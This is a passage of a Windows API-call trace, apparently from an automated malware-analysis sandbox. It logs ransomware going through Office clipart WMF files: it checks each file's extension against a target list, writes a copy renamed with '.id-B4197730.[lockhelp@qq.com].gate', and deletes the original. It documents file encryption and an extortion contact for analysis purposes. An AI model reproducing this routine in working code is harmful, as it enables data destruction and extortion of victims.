(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.189] lstrlenW (lpString=".dbf") returned 4 [0288.189] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.189] lstrlenW (lpString=".1cd") returned 4 [0288.189] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.189] lstrlenW (lpString=".jpg") returned 4 [0288.189] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.189] lstrlenW (lpString=".doc") returned 4 [0288.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.189] lstrlenW (lpString=".docx") returned 5 [0288.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.189] lstrlenW (lpString=".pdf") returned 4 [0288.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.189] lstrlenW (lpString=".xls") returned 4 [0288.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.189] lstrlenW (lpString=".xlsx") returned 5 [0288.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.190] lstrlenW (lpString=".ppt") returned 4 [0288.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.190] lstrlenW (lpString=".zip") returned 4 [0288.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.190] lstrlenW (lpString=".rar") returned 4 [0288.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.190] lstrlenW (lpString=".bz2") returned 4 [0288.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.190] lstrlenW (lpString=".7z") returned 3 [0288.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.190] lstrlenW (lpString=".dbf") returned 4 [0288.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.190] lstrlenW (lpString=".1cd") returned 4 [0288.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0288.190] lstrlenW (lpString=".jpg") returned 4 [0288.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.190] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.190] lstrlenW (lpString="BL00270_.WMF") returned 12 [0288.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0288.191] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=3016) returned 1 [0288.191] CloseHandle (hObject=0x414) returned 1 [0288.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220 [0288.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0288.191] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.191] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0288.192] GetLastError () returned 0x0 [0288.194] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0xbc8, lpOverlapped=0x0) returned 1 [0288.289] WriteFile (in: hFile=0x418, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xbd0, lpOverlapped=0x0) returned 1 [0288.290] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0288.290] WriteFile (in: hFile=0x418, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0288.290] SetEndOfFile (hFile=0x418) returned 1 [0288.291] CloseHandle (hObject=0x418) returned 1 [0288.295] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.295] SetEndOfFile (hFile=0x414) returned 1 [0288.298] CloseHandle (hObject=0x414) returned 1 [0288.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0288.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.301] lstrlenW (lpString=".doc") returned 4 [0288.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.302] lstrlenW (lpString=".docx") returned 5 [0288.302] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.302] lstrlenW (lpString=".pdf") returned 4 [0288.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.302] lstrlenW (lpString=".xls") returned 4 [0288.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.302] lstrlenW (lpString=".xlsx") returned 5 [0288.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.302] lstrlenW (lpString=".ppt") returned 4 [0288.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.302] lstrlenW (lpString=".zip") returned 4 [0288.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.302] lstrlenW (lpString=".rar") returned 4 [0288.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.302] lstrlenW (lpString=".bz2") returned 4 [0288.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.302] lstrlenW (lpString=".7z") returned 3 [0288.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.302] lstrlenW (lpString=".dbf") returned 4 [0288.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.302] lstrlenW (lpString=".1cd") returned 4 [0288.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.302] lstrlenW (lpString=".jpg") returned 4 [0288.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.302] lstrlenW (lpString=".doc") returned 4 [0288.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.303] lstrlenW (lpString=".docx") returned 5 [0288.303] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.303] lstrlenW (lpString=".pdf") returned 4 [0288.303] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.303] lstrlenW (lpString=".xls") returned 4 [0288.303] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.303] lstrlenW (lpString=".xlsx") returned 5 [0288.303] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.303] lstrlenW (lpString=".ppt") returned 4 [0288.303] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.303] lstrlenW (lpString=".zip") returned 4 [0288.303] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.303] lstrlenW (lpString=".rar") returned 4 [0288.303] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.303] lstrlenW (lpString=".bz2") returned 4 [0288.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.303] lstrlenW (lpString=".7z") returned 3 [0288.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.303] lstrlenW (lpString=".dbf") returned 4 [0288.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.303] lstrlenW (lpString=".1cd") returned 4 [0288.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0288.303] lstrlenW (lpString=".jpg") returned 4 [0288.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.303] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.303] lstrlenW (lpString="BL00392_.WMF") returned 12 [0288.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0288.304] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=27050) returned 1 [0288.304] CloseHandle (hObject=0x414) returned 1 [0288.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220 [0288.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0288.305] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.305] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0288.305] GetLastError () returned 0x0 [0288.305] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x69aa, lpOverlapped=0x0) returned 1 [0288.403] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x69b0, lpOverlapped=0x0) returned 1 [0288.404] ReadFile (in: hFile=0x414, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0288.405] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0288.405] SetEndOfFile (hFile=0x3d0) returned 1 [0288.410] CloseHandle (hObject=0x3d0) returned 1 [0288.413] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.413] SetEndOfFile (hFile=0x414) returned 1 [0288.423] CloseHandle (hObject=0x414) returned 1 [0288.423] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0288.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.475] lstrlenW (lpString=".doc") returned 4 [0288.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString=".docx") returned 5 [0288.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.475] lstrlenW (lpString=".pdf") returned 4 [0288.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString=".xls") returned 4 [0288.475] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.475] lstrlenW (lpString=".xlsx") returned 5 [0288.475] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.475] lstrlenW (lpString=".ppt") returned 4 [0288.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.475] lstrlenW (lpString=".zip") returned 4 [0288.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.475] lstrlenW (lpString=".rar") returned 4 [0288.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString=".bz2") returned 4 [0288.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString=".7z") returned 3 [0288.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.475] lstrlenW (lpString=".dbf") returned 4 [0288.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.476] lstrlenW (lpString=".1cd") returned 4 [0288.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.476] lstrlenW (lpString=".jpg") returned 4 [0288.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.476] lstrlenW (lpString=".doc") returned 4 [0288.476] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString=".docx") returned 5 [0288.476] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.476] lstrlenW (lpString=".pdf") returned 4 [0288.476] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString=".xls") returned 4 [0288.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.476] lstrlenW (lpString=".xlsx") returned 5 [0288.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.476] lstrlenW (lpString=".ppt") returned 4 [0288.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.476] lstrlenW (lpString=".zip") returned 4 [0288.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.476] lstrlenW (lpString=".rar") returned 4 [0288.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString=".bz2") returned 4 [0288.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString=".7z") returned 3 [0288.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.476] lstrlenW (lpString=".dbf") returned 4 [0288.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.476] lstrlenW (lpString=".1cd") returned 4 [0288.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0288.477] lstrlenW (lpString=".jpg") returned 4 [0288.477] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.477] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.477] lstrlenW (lpString="BL00921_.WMF") returned 12 [0288.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0288.477] GetFileSizeEx (in: hFile=0x418, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=4408) returned 1 [0288.477] CloseHandle (hObject=0x418) returned 1 [0288.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0288.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0288.478] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.478] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0 [0288.478] GetLastError () returned 0x0 [0288.478] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1138, lpOverlapped=0x0) returned 1 [0290.248] WriteFile (in: hFile=0x4d0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1140, lpOverlapped=0x0) returned 1 [0290.249] ReadFile (in: hFile=0x418, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0290.249] WriteFile (in: hFile=0x4d0, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0290.250] SetEndOfFile (hFile=0x4d0) returned 1 [0290.250] CloseHandle (hObject=0x4d0) returned 1 [0290.251] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0290.251] SetEndOfFile (hFile=0x418) returned 1 [0290.253] CloseHandle (hObject=0x418) returned 1 [0290.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0290.301] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0290.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.301] lstrlenW (lpString=".doc") returned 4 [0290.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0290.301] lstrlenW (lpString=".docx") returned 5 [0290.301] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0290.301] lstrlenW (lpString=".pdf") returned 4 [0290.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0290.301] lstrlenW (lpString=".xls") returned 4 [0290.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0290.302] lstrlenW (lpString=".xlsx") returned 5 [0290.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0290.302] lstrlenW (lpString=".ppt") returned 4 [0290.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0290.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.302] lstrlenW (lpString=".zip") returned 4 [0290.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0290.302] lstrlenW (lpString=".rar") returned 4 [0290.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0290.302] lstrlenW (lpString=".bz2") returned 4 [0290.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0290.302] lstrlenW (lpString=".7z") returned 3 [0290.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0290.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.302] lstrlenW (lpString=".dbf") returned 4 [0290.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0290.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0290.302] lstrlenW (lpString=".1cd") returned 4 [0290.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0290.302] 